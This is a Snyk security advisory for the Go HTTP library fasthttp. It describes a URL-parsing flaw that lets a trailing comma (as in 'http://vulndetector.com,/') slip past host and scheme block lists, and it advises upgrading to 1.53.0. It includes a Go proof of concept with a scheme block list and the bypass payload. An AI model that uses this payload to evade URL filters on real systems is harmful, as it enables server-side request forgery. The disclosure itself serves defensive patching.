Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/valyala/fasthttp
to version 1.53.0 or higher.
github.com/valyala/fasthttp is a fast HTTP server and client API.
Affected versions of this package are vulnerable to Open Redirect due to improper handling of malformed URLs, allowing attackers to bypass the protections that users have set up for schemes and hosts. An attacker can send a URL involving a ,
to the Validator (e.g., http://vulndetector.com,/
), bypassing the URL blocklist validation, and keep sending requests to the domain with a blocklisted hostname, leading to SSRF and RCE attacks.
package main
import (
"fmt"
"github.com/valyala/fasthttp"
"net/url"
"strings"
)
func safeURLOpener(inputLink string) (*fasthttp.Response, error) {
blockSchemes := map[string]bool{
"file": true, "gopher": true, "expect": true,
"php": true, "dict": true, "ftp": true,
"glob": true, "data": true,
}
blockHost := map[string]bool{
"vulndetector.com": true,
}
parsedUrl, err := url.Parse(inputLink)
if err != nil {
fmt.Println("Error parsing URL:", err)
return nil, err
}
inputScheme := parsedUrl.Scheme
inputHostname := parsedUrl.Hostname()
if blockSchemes[inputScheme] {
fmt.Println("input scheme is forbidden")
return nil, nil
}
if blockHost[inputHostname] {
fmt.Println("input hostname is forbidden")
return nil, nil
}
// Create request and response objects
req := fasthttp.AcquireRequest()
resp := fasthttp.AcquireResponse()
defer fasthttp.ReleaseRequest(req) // to reuse requests
defer fasthttp.ReleaseResponse(resp) // to reuse responses
req.SetRequestURI(inputLink)
err = fasthttp.Do(req, resp)
if err != nil {
fmt.Println("HTTP request failed:", err)
return nil, err
}
// Since we need the body outside this function, we create a copy of the response
newResp := &fasthttp.Response{}
resp.CopyTo(newResp)
return newResp, nil
}
func verify() {
payload := "http://vulndetector.com,/"
result, err := safeURLOpener(payload)
if err != nil {
fmt.Println("Failed to open URL:", err)
return
}
if result != nil {
bodyBytes := result.Body()
bodyString := string(bodyBytes)
if result.StatusCode() == 200 && strings.Contains(bodyString, "FindVuln") {
fmt.Println("payload find! ==>", payload)
}
}
}
func main() {
verify()
}